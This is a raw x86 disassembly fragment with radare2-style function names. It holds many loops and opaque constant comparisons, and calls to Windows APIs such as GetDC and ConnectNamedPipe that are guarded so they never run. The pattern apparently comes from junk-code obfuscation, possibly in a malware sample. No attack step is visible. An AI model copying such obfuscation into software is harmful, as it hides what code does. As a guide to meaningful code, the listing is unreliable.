mov dword [eax], 1
jmp 0x47b36b
mov dword [ebp - 0x430], 0
jmp 0x47b3b3
mov eax, dword [ebp - 0x430]
inc eax
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0x12
jg 0x47b8ce
push 2
lea ecx, [ebp - 0x29d4]
call fcn.00432b0d
push 3
lea ecx, [ebp - 0x2d58]
call fcn.00432b0d
mov dword [ebp - 0x20], 0
jmp 0x47b3ea
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x47b400
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x2acc], 1
jmp 0x47b3e3
mov dword [ebp - 0x20], 0
jmp 0x47b410
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 1
jge 0x47b426
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x104], 1
jmp 0x47b409
mov dword [ebp - 0x20], 0
jmp 0x47b436
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x47b44c
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x2ed4], 0x19c2b2e5
jmp 0x47b42f
mov dword [ebp - 0x20], 0
jmp 0x47b45c
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x47b478
push dword [ebp - 0x20]
lea ecx, [ebp - 0x29d4]
call fcn.00432bfb
mov dword [eax], 0x7dc23988
jmp 0x47b455
mov dword [ebp - 0x20], 0
jmp 0x47b488
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x47b4a4
push dword [ebp - 0x20]
lea ecx, [ebp - 0x2d58]
call fcn.00432bfb
mov dword [eax], 0x13633e7a
jmp 0x47b481
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x104], 3
jmp 0x47b4d2
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x104]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x104], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x104], 0
jl 0x47b8b3
mov dword [ebp - 0x4d4], 0xc3707822
mov dword [ebp - 0x4d4], 0
jmp 0x47b509
mov eax, dword [ebp - 0x4d4]
inc eax
mov dword [ebp - 0x4d4], eax
cmp dword [ebp - 0x4d4], 3
jg 0x47b721
mov dword [ebp - 0x428], 0xffffffff
mov dword [ebp - 0x270c], 0x76e1ee67
mov byte [ebp - 0x416], 0
movzx eax, byte [ebp - 0x416]
test eax, eax
je 0x47b562
push 0
push 0
push 0
push 0x1a3f
push 0xe5d
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
mov dword [ebp - 0x428], 0
jmp 0x47b57b
mov eax, dword [ebp - 0x428]
inc eax
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 3
jg 0x47b71c
mov dword [ebp - 0x368], 0x5fac1226
mov dword [ebp - 0x368], 0
jmp 0x47b5ab
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 3
jg 0x47b717
mov eax, dword [ebp - 0x368]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x104]
cmp dword [ebp + eax*4 - 0x2acc], ecx
jle 0x47b6ff
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0x1dd0], eax
mov eax, dword [ebp - 0x368]
mov ecx, dword [ebp - 0x1dd0]
mov dword [ebp + eax*4 - 0x2acc], ecx
cmp dword [ebp - 0x1dd0], 0
jne 0x47b684
cmp dword [ebp - 0x368], 0
je 0x47b622
cmp dword [ebp - 0x428], 0
je 0x47b622
mov dword [ebp - 0x18f4], 1
jmp 0x47b629
and dword [ebp - 0x18f4], 0
mov eax, dword [ebp - 0x430]
cmp dword [ebp - 0x18f4], eax
jne 0x47b643
mov dword [ebp - 0x1d84], 1
jmp 0x47b64a
and dword [ebp - 0x1d84], 0
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x3348], eax
push 1
lea ecx, [ebp - 0x2de8]
call fcn.00432bfb
mov ecx, dword [ebp - 0x1d84]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2acc], 0
jne 0x47b684
and dword [ebp - 0x18fc], 0
jmp 0x47b68e
mov dword [ebp - 0x18fc], 1
mov eax, dword [ebp - 0x4d4]
cmp dword [ebp - 0x18fc], eax
jg 0x47b6a8
mov dword [ebp - 0x1dd8], 1
jmp 0x47b6af
and dword [ebp - 0x1dd8], 0
cmp dword [ebp - 0x1dd8], 0x9a8551b3
jne 0x47b6d7
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x104], 0
je 0x47b6d7
mov dword [ebp - 0x1904], 1
jmp 0x47b6de
and dword [ebp - 0x1904], 0
mov eax, dword [ebp - 0x1904]
mov dword [ebp - 0x270c], eax
mov eax, 0x8eb16e2c
test eax, eax
je 0x47b6ff
mov dword [ebp - 0x1d8c], 1
jmp 0x47b706
and dword [ebp - 0x1d8c], 0
mov eax, dword [ebp - 0x1d8c]
mov dword [ebp - 0x191c], eax
jmp 0x47b59e
jmp 0x47b56e
jmp 0x47b4fc
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x104]
cmp dword [ebp + eax*4 - 0x2acc], 0
je 0x47b892
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2ed4], 0
xor eax, eax
jne 0x47b75d
mov dword [ebp - 0x1de8], 1
jmp 0x47b764
and dword [ebp - 0x1de8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x104]
mov dword [ebp - 0x190c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x190c]
mov dword [ebp + eax - 0x2acc], ecx
cmp dword [ebp - 0x190c], 0
je 0x47b7d5
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x104]
cmp dword [ebp - 0xaf8], eax
jle 0x47b7b4
mov dword [ebp - 0x1de0], 1
jmp 0x47b7bb
and dword [ebp - 0x1de0], 0
mov eax, dword [ebp - 0xaf8]
cmp dword [ebp - 0x1de0], eax
jne 0x47b7d5
mov dword [ebp - 0x1914], 1
jmp 0x47b7dc
and dword [ebp - 0x1914], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x104]
cmp eax, dword [ebp - 0x1914]
jg 0x47b7fd
mov dword [ebp - 0xb8c], 1
jmp 0x47b804
and dword [ebp - 0xb8c], 0
push 0
lea ecx, [ebp - 0x29d4]
call fcn.00432bfb
mov ecx, dword [ebp - 0xb8c]
mov dword [eax], ecx
cmp dword [ebp - 0xb8c], 0xffffffff
jl 0x47b82e
mov dword [ebp - 0x1d94], 1
jmp 0x47b835
and dword [ebp - 0x1d94], 0
mov eax, dword [ebp - 0x1d94]
mov dword [ebp - 0x191c], eax
push 0
lea ecx, [ebp - 0x29d4]
call fcn.00432bfb
mov ecx, dword [ebp - 0x1de8]
cmp ecx, dword [eax]
jl 0x47b864
mov dword [ebp - 0x1924], 1
jmp 0x47b86b
and dword [ebp - 0x1924], 0
mov eax, dword [ebp - 0x1924]
sub eax, dword [ebp - 0xaf8]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x104]
jge 0x47b892
mov dword [ebp - 0x1d9c], 1
jmp 0x47b899
and dword [ebp - 0x1d9c], 0
push 2
lea ecx, [ebp - 0x2d58]
call fcn.00432bfb
mov ecx, dword [ebp - 0x1d9c]
mov dword [eax], ecx
jmp 0x47b4b7
lea ecx, [ebp - 0x2d58]
call fcn.00432bdf
lea ecx, [ebp - 0x29d4]
call fcn.00432bdf
jmp 0x47b3a6
lea ecx, [ebp - 0x2de8]
call fcn.00432bdf
mov dword [ebp - 0x2f70], 1
mov dword [ebp - 0x3658], 0xfffffffe
mov dword [ebp - 0x2f78], 0xffffffff
mov dword [ebp - 0x192c], 0xfe81
push 3
lea ecx, [ebp - 0x3474]
call fcn.00432b0d
mov dword [ebp - 0x234], 0
jmp 0x47b927
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 3
jge 0x47b943
mov eax, dword [ebp - 0x234]
mov dword [ebp + eax*4 - 0x39f8], 0x3eb905d0
jmp 0x47b91a
mov dword [ebp - 0x234], 0
jmp 0x47b95c
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 3
jge 0x47b97b
push dword [ebp - 0x234]
lea ecx, [ebp - 0x3474]
call fcn.00432bfb
or dword [eax], 0xffffffff
jmp 0x47b94f
mov eax, dword [ebp - 0x192c]
dec eax
mov dword [ebp - 0x192c], eax
lea ecx, [ebp - 0x3474]
call fcn.00432bdf
mov dword [ebp - 0x3358], 0xbc42206d
mov dword [ebp - 0x2360], 0xfffffffc
mov dword [ebp - 0x235c], 0xfffffffc
mov dword [ebp - 0x2358], 0xfffffffc
mov dword [ebp - 0x2354], 0xfffffffc
mov dword [ebp - 0x9c], 0xe56f9b2c
mov dword [ebp - 0xb94], 0x3260389a
mov dword [ebp - 0xbf8], 8
mov dword [ebp - 0x2714], 7
push 1
lea ecx, [ebp - 0x29ec]
call fcn.00432b0d
mov dword [ebp - 0x6b8], 0
jmp 0x47ba13
mov eax, dword [ebp - 0x6b8]
inc eax
mov dword [ebp - 0x6b8], eax
cmp dword [ebp - 0x6b8], 1
jge 0x47ba35
push dword [ebp - 0x6b8]
lea ecx, [ebp - 0x29ec]
call fcn.00432bfb
mov dword [eax], 5
jmp 0x47ba06
mov dword [ebp - 0x9c], 3
jmp 0x47ba4e
mov eax, dword [ebp - 0x9c]
dec eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
jl 0x47bd5c
mov dword [ebp - 0x438], 0xffffffff
mov dword [ebp - 0x2f80], 1
mov dword [ebp - 0x252c], 0x8a2b8ea2
push 1
lea ecx, [ebp - 0x2db8]
call fcn.00432b0d
mov dword [ebp - 0x6c0], 0
jmp 0x47ba9f
mov eax, dword [ebp - 0x6c0]
inc eax
mov dword [ebp - 0x6c0], eax
cmp dword [ebp - 0x6c0], 1
jge 0x47bac1
push dword [ebp - 0x6c0]
lea ecx, [ebp - 0x2db8]
call fcn.00432bfb
mov dword [eax], 0xb7b8
jmp 0x47ba92
mov dword [ebp - 0x438], 3
jmp 0x47bada
mov eax, dword [ebp - 0x438]
dec eax
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0
jl 0x47bd4c
push 4
lea ecx, [ebp - 0x2d40]
call fcn.00432b0d
mov dword [ebp - 0xb00], 0xb756fd8c
mov dword [ebp - 0x2868], 0xffffffff
mov dword [ebp - 0x1df8], 0xfffffffc
mov dword [ebp - 0x2534], 0
mov dword [ebp - 0x6c8], 0
jmp 0x47bb35
mov eax, dword [ebp - 0x6c8]
inc eax
mov dword [ebp - 0x6c8], eax
cmp dword [ebp - 0x6c8], 4
jge 0x47bb57
push dword [ebp - 0x6c8]
lea ecx, [ebp - 0x2d40]
call fcn.00432bfb
mov dword [eax], 0x12a2
jmp 0x47bb28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x438]
mov eax, dword [ebp + eax*4 - 0x2360]
mov dword [ebp + ecx*4 - 0x2360], eax
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp + eax*4 - 0x2360]
push 4
pop ecx
shl ecx, 0
imul eax, dword [ebp + ecx - 0x2360]
mov ecx, dword [ebp - 0xbf8]
add ecx, dword [ebp - 0x9c]
imul eax, ecx
mov dword [ebp - 0xb94], eax
mov eax, dword [ebp - 0xb94]
mov ecx, dword [ebp - 0xbf8]
inc ecx
mov dword [ebp - 0xbf8], ecx
test eax, eax
je 0x47bbcb
push 0xfffffffffffffffe
pop eax
test eax, eax
je 0x47bbcb
mov dword [ebp - 0x1df0], 1
jmp 0x47bbd2
and dword [ebp - 0x1df0], 0
push 0
lea ecx, [ebp - 0x2db8]
call fcn.00432bfb
mov ecx, dword [ebp - 0x1df0]
cmp ecx, dword [eax]
jne 0x47bbf5
mov dword [ebp - 0x1934], 1
jmp 0x47bbfc
and dword [ebp - 0x1934], 0
cmp dword [ebp - 0x1934], 0xfffffffb
jb 0x47bc11
mov dword [ebp - 0x1da4], 1
jmp 0x47bc18
and dword [ebp - 0x1da4], 0
push 2
lea ecx, [ebp - 0x2d40]
call fcn.00432bfb
mov ecx, dword [ebp - 0x1da4]
mov dword [eax], ecx
mov dword [ebp - 0xb00], 0xfffffff7
mov eax, dword [ebp - 0xb00]
sub eax, dword [ebp - 0x252c]
cmp eax, 0x294b58fe
jg 0x47bc56
mov dword [ebp - 0x193c], 1
jmp 0x47bc5d
and dword [ebp - 0x193c], 0
mov eax, dword [ebp - 0x193c]
mov dword [ebp - 0x2868], eax
mov eax, dword [ebp - 0xb00]
add eax, dword [ebp - 0x9c]
neg eax
cmp eax, dword [ebp - 0x1df8]
je 0x47bc8b
mov dword [ebp - 0x1944], 1
jmp 0x47bc92
and dword [ebp - 0x1944], 0
mov eax, dword [ebp - 0x1df8]
cmp dword [ebp - 0x1944], eax
je 0x47bcac
mov dword [ebp - 0x1dac], 1
jmp 0x47bcb3
and dword [ebp - 0x1dac], 0
cmp dword [ebp - 0x1dac], 0
je 0x47bcc8
mov dword [ebp - 0x194c], 1
jmp 0x47bccf
and dword [ebp - 0x194c], 0
mov eax, dword [ebp - 0x438]
cmp dword [ebp - 0x194c], eax
jne 0x47bce9
mov dword [ebp - 0x1e00], 1
jmp 0x47bcf0
and dword [ebp - 0x1e00], 0
mov eax, dword [ebp - 0x2534]
cmp dword [ebp - 0x1e00], eax
jle 0x47bd0a
mov dword [ebp - 0x1954], 1
jmp 0x47bd11
and dword [ebp - 0x1954], 0
cmp dword [ebp - 0x1954], 0x45c761b8
jne 0x47bd29
mov dword [ebp - 0x195c], 1
jmp 0x47bd30
and dword [ebp - 0x195c], 0
mov eax, dword [ebp - 0x195c]
mov dword [ebp - 0x2714], eax
lea ecx, [ebp - 0x2d40]
call fcn.00432bdf
jmp 0x47bacd
lea ecx, [ebp - 0x2db8]
call fcn.00432bdf
jmp 0x47ba41
cmp dword [ebp - 0x9c], 0
jne 0x47bd71
mov dword [ebp - 0x10a4], 1
jmp 0x47bd78
and dword [ebp - 0x10a4], 0
mov eax, dword [ebp - 0x9c]
imul eax, dword [ebp - 0x10a4]
push 4
pop ecx
shl ecx, 0
sub eax, dword [ebp + ecx - 0x2360]
je 0x47bde4
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x9c], eax
jg 0x47bdae
mov dword [ebp - 0x253c], 1
jmp 0x47bdb5
and dword [ebp - 0x253c], 0
push 0
lea ecx, [ebp - 0x29ec]
call fcn.00432bfb
push 0
lea ecx, [ebp - 0x29ec]
call fcn.00432bfb
cmp dword [eax], 0xb93b3bbb
jb 0x47bde4
cmp dword [ebp - 0xb94], 0
je 0x47bde4
xor eax, eax
jne 0x47bdf6
cmp dword [ebp - 0x9c], 0
jne 0x47bdf6
and dword [ebp - 0x10a8], 0
jmp 0x47be00
mov dword [ebp - 0x10a8], 1
mov eax, dword [ebp - 0x10a8]
mov dword [ebp - 0x9c], eax
lea ecx, [ebp - 0x29ec]
call fcn.00432bdf
mov dword [ebp - 0x2e78], 0x105fa2ef
mov dword [ebp - 0x2f88], 1
mov dword [ebp - 0x9ec], 1
mov dword [ebp - 0x6d8], 0xd72d7671
mov dword [ebp - 0x4dc], 0xfffffff7
mov dword [ebp - 0x10b0], 0x97bc8b42
mov dword [ebp - 0x9e4], 0x55073046
mov dword [ebp - 0x10e0], 0
mov dword [ebp - 0x10e8], 0x9e63a5be
mov dword [ebp - 0x2544], 0xb8f1fe3d
mov dword [ebp - 0x271c], 0x6ed4bca9
mov dword [ebp - 0x6d0], 0
jmp 0x47be9e
mov eax, dword [ebp - 0x6d0]
inc eax
mov dword [ebp - 0x6d0], eax
cmp dword [ebp - 0x6d0], 2
jge 0x47beba
mov eax, dword [ebp - 0x6d0]
mov dword [ebp + eax*4 - 0x2ee0], 0xfffffffe
jmp 0x47be91
mov eax, dword [ebp - 0x4dc]
add eax, 0xffff
imul eax, eax, 0xf595
imul eax, dword [ebp - 0x4dc]
mov dword [ebp - 0x10b0], eax
mov eax, dword [ebp - 0x4dc]
cmp dword [ebp - 0x10b0], eax
jle 0x47bef2
mov dword [ebp - 0x10b8], 1
jmp 0x47bef9
and dword [ebp - 0x10b8], 0
mov eax, dword [ebp - 0x9e4]
cmp dword [ebp - 0x10b8], eax
jge 0x47bf13
mov dword [ebp - 0x28b0], 1
jmp 0x47bf1a
and dword [ebp - 0x28b0], 0
mov eax, dword [ebp - 0x9e4]
cmp dword [ebp - 0x9e4], eax
jge 0x47bf34
mov dword [ebp - 0x10c0], 1
jmp 0x47bf3b
and dword [ebp - 0x10c0], 0
mov eax, dword [ebp - 0x4dc]
cmp dword [ebp - 0x10c0], eax
jg 0x47bf55
mov dword [ebp - 0x10c8], 1
jmp 0x47bf5c
and dword [ebp - 0x10c8], 0
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [ebp - 0x6d8]
imul ecx, dword [ebp - 0x10c8]
imul eax, ecx
cmp dword [ebp - 0x6d8], eax
jl 0x47bf86
mov dword [ebp - 0x10d0], 1
jmp 0x47bf8d
and dword [ebp - 0x10d0], 0
cmp dword [ebp - 0x10d0], 0
jle 0x47bfa2
mov dword [ebp - 0x10d8], 1
jmp 0x47bfa9
and dword [ebp - 0x10d8], 0
mov eax, dword [ebp - 0x9ec]
mov dword [ebp - 0x9ec], eax
mov eax, dword [ebp - 0x10d8]
mov dword [ebp - 0x6d8], eax
mov eax, dword [ebp - 0x6d8]
mov dword [ebp - 0x10e0], eax
mov eax, dword [ebp - 0x10e0]
mov dword [ebp - 0x10e8], eax
mov eax, dword [ebp - 0x10e8]
cmp dword [ebp - 0x9ec], eax
je 0x47bff3
mov dword [ebp - 0x10f0], 1
jmp 0x47bffa
and dword [ebp - 0x10f0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2ee0]
cmp dword [ebp - 0x10f0], eax
jge 0x47c01b
mov dword [ebp - 0x10f8], 1
jmp 0x47c022
and dword [ebp - 0x10f8], 0
mov eax, dword [ebp - 0x10f8]
sub eax, dword [ebp - 0x2544]
mov dword [ebp - 0x271c], eax
mov dword [ebp - 0xae4], 2
mov dword [ebp - 0x1130], 0xffffffff
mov dword [ebp - 0x4ec], 0xe57bf5cd
mov dword [ebp - 0x2950], 0xfffffffc
mov dword [ebp - 0x294c], 0xfffffffc
mov dword [ebp - 0x2948], 0xfffffffc
mov dword [ebp - 0x2944], 0xfffffffc
mov dword [ebp - 0x4f4], 0
mov dword [ebp - 0x370], 0
mov dword [ebp - 0x6e8], 0xab3cf813
push 3
lea ecx, [ebp - 0x222c]
call fcn.00432b0d
mov dword [ebp - 0x4e4], 1
mov dword [ebp - 0x254c], 0x2585fafe
mov dword [ebp - 0x1140], 0x2b783560
mov dword [ebp - 0x1170], 0x18cc907f
mov dword [ebp - 0x6e0], 0
jmp 0x47c0e6
mov eax, dword [ebp - 0x6e0]
inc eax
mov dword [ebp - 0x6e0], eax
cmp dword [ebp - 0x6e0], 3
jge 0x47c105
push dword [ebp - 0x6e0]
lea ecx, [ebp - 0x222c]
call fcn.00432bfb
or dword [eax], 0xffffffff
jmp 0x47c0d9
mov eax, dword [ebp - 0x4f4]
inc eax
mov dword [ebp - 0x4f4], eax
mov eax, dword [ebp - 0x370]
mov dword [ebp - 0x1100], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1100]
mov dword [ebp + eax - 0x2950], ecx
mov eax, dword [ebp - 0x1100]
mov dword [ebp - 0x6e8], eax
mov eax, dword [ebp - 0x6e8]
cmp dword [ebp - 0x4f4], eax
jge 0x47c157
mov dword [ebp - 0x1118], 1
jmp 0x47c15e
and dword [ebp - 0x1118], 0
or eax, 0xffffffff
je 0x47c19c
cmp dword [ebp - 0x370], 0xd6b5
jle 0x47c17b
mov dword [ebp - 0x1108], 1
jmp 0x47c182
and dword [ebp - 0x1108], 0
mov eax, dword [ebp - 0x370]
add eax, dword [ebp - 0x1108]
je 0x47c19c
mov dword [ebp - 0x1110], 1
jmp 0x47c1a3
and dword [ebp - 0x1110], 0
push 0
lea ecx, [ebp - 0x222c]
call fcn.00432bfb
mov ecx, dword [ebp - 0x1110]
cmp ecx, dword [eax]
jne 0x47c1c6
mov dword [ebp - 0x1120], 1
jmp 0x47c1cd
and dword [ebp - 0x1120], 0
mov eax, dword [ebp - 0x1118]
cmp eax, dword [ebp - 0x1120]
jle 0x47c1e7
mov dword [ebp - 0x1128], 1
jmp 0x47c1ee
and dword [ebp - 0x1128], 0
push 1
lea ecx, [ebp - 0x222c]
call fcn.00432bfb
mov ecx, dword [ebp - 0x1128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1130]
mov dword [ebp - 0x4ec], eax
mov eax, dword [ebp - 0x4f4]
mov dword [ebp - 0x4e4], eax
mov eax, dword [ebp - 0x4e4]
cmp dword [ebp - 0x4ec], eax
jle 0x47c235
mov dword [ebp - 0x1138], 1
jmp 0x47c23c
and dword [ebp - 0x1138], 0
mov eax, dword [ebp - 0x1130]
add eax, dword [ebp - 0x1138]
mov dword [ebp - 0x254c], eax
mov dword [ebp - 0x370], 0xffffffe8
jmp 0x47c267
cmp dword [ebp - 0x370], 4
jl 0x47c611
mov dword [ebp - 0x11c8], 0xfd89
mov dword [ebp - 0x2870], 1
mov dword [ebp - 0x11a8], 0x9d6c8400
mov dword [ebp - 0x1180], 0xc767dbf1
mov dword [ebp - 0x9f4], 0
mov dword [ebp - 0x11b8], 0x84ade726
mov dword [ebp - 0x2554], 0
mov dword [ebp - 0x255c], 1
mov dword [ebp - 0x2564], 7
mov byte [ebp - 0x2d7], 0
movzx eax, byte [ebp - 0x2d7]
test eax, eax
je 0x47c2ea
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov eax, dword [ebp - 0x1140]
dec eax
mov dword [ebp - 0x1140], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2950], 0
jne 0x47c31f
push 0
lea ecx, [ebp - 0x222c]
call fcn.00432bfb
cmp dword [eax], 0
je 0x47c31f
cmp dword [ebp - 0x4e4], 0
mov dword [ebp - 0x4e4], 0xffffffff
cmp dword [ebp - 0x4e4], 0
je 0x47c347
cmp dword [ebp - 0x2870], 0
je 0x47c347
mov dword [ebp - 0x1148], 1
jmp 0x47c34e
and dword [ebp - 0x1148], 0
cmp dword [ebp - 0x1148], 0x5e2b1956
jge 0x47c366
mov dword [ebp - 0x1150], 1
jmp 0x47c36d
and dword [ebp - 0x1150], 0
cmp dword [ebp - 0x1150], 0x4ab7
jg 0x47c38a
xor eax, eax
inc eax
je 0x47c38a
mov dword [ebp - 0x1158], 1
jmp 0x47c391
and dword [ebp - 0x1158], 0
mov eax, dword [ebp - 0x1158]
mov dword [ebp - 0x4ec], eax
mov eax, dword [ebp - 0x11b8]
cmp dword [ebp - 0x4ec], eax
jle 0x47c3b7
mov dword [ebp - 0x1160], 1
jmp 0x47c3be
and dword [ebp - 0x1160], 0
mov eax, dword [ebp - 0x1180]
cmp dword [ebp - 0x1160], eax
jne 0x47c3d8
mov dword [ebp - 0x1168], 1
jmp 0x47c3df
and dword [ebp - 0x1168], 0
mov eax, dword [ebp - 0x1170]
add eax, dword [ebp - 0x1168]
cmp dword [ebp - 0x2554], eax
jl 0x47c3ff
mov dword [ebp - 0x1178], 1
jmp 0x47c406
and dword [ebp - 0x1178], 0
mov eax, dword [ebp - 0x1170]
add eax, dword [ebp - 0x1178]
cmp eax, 0x4a8a623b
jle 0x47c425
mov dword [ebp - 0x2724], 1
jmp 0x47c42c
and dword [ebp - 0x2724], 0
cmp dword [ebp - 0x1180], 0xffffffff
jle 0x47c44a
cmp dword [ebp - 0x11c8], 0
je 0x47c44a
mov dword [ebp - 0x1188], 1
jmp 0x47c451
and dword [ebp - 0x1188], 0
push 0
lea ecx, [ebp - 0x222c]
call fcn.00432bfb
mov ecx, dword [ebp - 0x1188]
cmp ecx, dword [eax]
jne 0x47c474
mov dword [ebp - 0x1190], 1
jmp 0x47c47b
and dword [ebp - 0x1190], 0
cmp dword [ebp - 0x1190], 0x77bf
jge 0x47c493
mov dword [ebp - 0x1198], 1
jmp 0x47c49a
and dword [ebp - 0x1198], 0
mov eax, dword [ebp - 0x9f4]
cmp dword [ebp - 0x1198], eax
jg 0x47c4b4
mov dword [ebp - 0x11a0], 1
jmp 0x47c4bb
and dword [ebp - 0x11a0], 0
mov eax, dword [ebp - 0x11a0]
mov dword [ebp - 0x11a8], eax
cmp dword [ebp - 0x11a8], 0
jne 0x47c4e0
push 8
pop eax
test eax, eax
jne 0x47c4e0
mov dword [ebp - 0x11b0], 1
cmp dword [ebp - 0x11b0], 0xc9a5
jle 0x47c511
lea ecx, [ebp - 0x222c]
call fcn.00432bdf
mov dword [ebp - 0x2f90], 0xb1b0cadf
push 4
lea ecx, [ebp - 0x5e0]
call fcn.00432b0d
mov dword [ebp - 0x4c], 0xfffffff9
mov dword [ebp - 0xd4], 0xe77e815f
mov dword [ebp - 0x380], 0x71658a60
mov dword [ebp - 0x12e0], 9
mov dword [ebp - 0x1318], 0xfffffff7
mov dword [ebp - 0x21c], 0
jmp 0x47c67b
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 4
jge 0x47c69d
push dword [ebp - 0x21c]
lea ecx, [ebp - 0x5e0]
call fcn.00432bfb
mov dword [eax], 0xfffffffe
jmp 0x47c66e
mov dword [ebp - 0x21c], 0
jmp 0x47c6b6
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 2
jge 0x47c6d2
mov eax, dword [ebp - 0x21c]
mov dword [ebp + eax*4 - 0x2abc], 0xf289
jmp 0x47c6a9
mov dword [ebp - 0x4c], 3
jmp 0x47c6e2
mov eax, dword [ebp - 0x4c]
dec eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jl 0x47cf95
mov dword [ebp - 0x378], 0xefc07e17
mov dword [ebp - 0x700], 0xa8ed40a1
mov dword [ebp - 0x440], 1
mov dword [ebp - 0xa0c], 0x405cefd0
mov dword [ebp - 0x5e4], 0x9be056ef
mov dword [ebp - 0x378], 3
jmp 0x47c737
cmp dword [ebp - 0x378], 0
jl 0x47cbf0
mov dword [ebp - 0x268], 0xfffffff8
push 3
lea ecx, [ebp - 0x2304]
call fcn.00432b0d
mov dword [ebp - 0xa04], 0
mov dword [ebp - 0x6f0], 0
jmp 0x47c77e
mov eax, dword [ebp - 0x6f0]
inc eax
mov dword [ebp - 0x6f0], eax
cmp dword [ebp - 0x6f0], 3
jge 0x47c79d
push dword [ebp - 0x6f0]
lea ecx, [ebp - 0x2304]
call fcn.00432bfb
and dword [eax], 0
jmp 0x47c771
mov dword [ebp - 0x268], 3
jmp 0x47c7b6
cmp dword [ebp - 0x268], 0
jl 0x47ca63
mov dword [ebp - 0x6f8], 0xbf90a233
mov dword [ebp - 0x256c], 0xcbcb1a7a
mov dword [ebp - 0x6f8], 3
jmp 0x47c7f0
cmp dword [ebp - 0x6f8], 0
jl 0x47ca5e
mov dword [ebp - 0x9fc], 3
mov eax, dword [ebp - 0x268]
mov dword [ebp - 0x3660], eax
mov eax, dword [ebp - 0x268]
mov dword [ebp - 0x2f98], eax
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x5e0]
call fcn.00432bfb
mov ecx, dword [ebp - 0xd4]
add ecx, 0x942c
cmp dword [eax], ecx
jg 0x47c849
jmp 0x47c7a9
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x5e0]
call fcn.00432bfb
cmp dword [eax], 0
je 0x47cb1b
mov eax, dword [ebp - 0xa04]
mov dword [ebp - 0x380], eax
mov esi, dword [ebp - 0x380]
push 1
lea ecx, [ebp - 0x5e0]
call fcn.00432bfb
mov dword [eax], esi
mov eax, dword [ebp - 0xa04]
mov dword [ebp - 0x700], eax
mov eax, dword [ebp - 0x700]
mov dword [ebp - 0x2fa0], eax
mov eax, dword [ebp - 0x440]
mov dword [ebp - 0x37d8], eax
mov esi, dword [ebp - 0x4c]
push 0
lea ecx, [ebp - 0x5e0]
call fcn.00432bfb
imul esi, dword [eax]
mov eax, 0xd3b05e26
sub eax, esi
jne 0x47caed
mov eax, 0x79b6
test eax, eax
jne 0x47caed
mov dword [ebp - 0x1248], 1
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x5e0]
call fcn.00432bfb
mov ecx, dword [ebp - 0x1248]
cmp ecx, dword [eax]
jg 0x47cb1b
and dword [ebp - 0x1250], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x1250], eax
je 0x47cb3c
mov dword [ebp - 0x1258], 1
jmp 0x47cb43
and dword [ebp - 0x1258], 0
push 1
lea ecx, [ebp - 0x2304]
call fcn.00432bfb
mov ecx, dword [ebp - 0x1258]
cmp ecx, dword [eax]
je 0x47cb66
mov dword [ebp - 0xd4], 1
cmp dword [ebp - 0xd4], 0
jne 0x47ccb6
mov eax, dword [ebp - 0xa0c]
dec eax
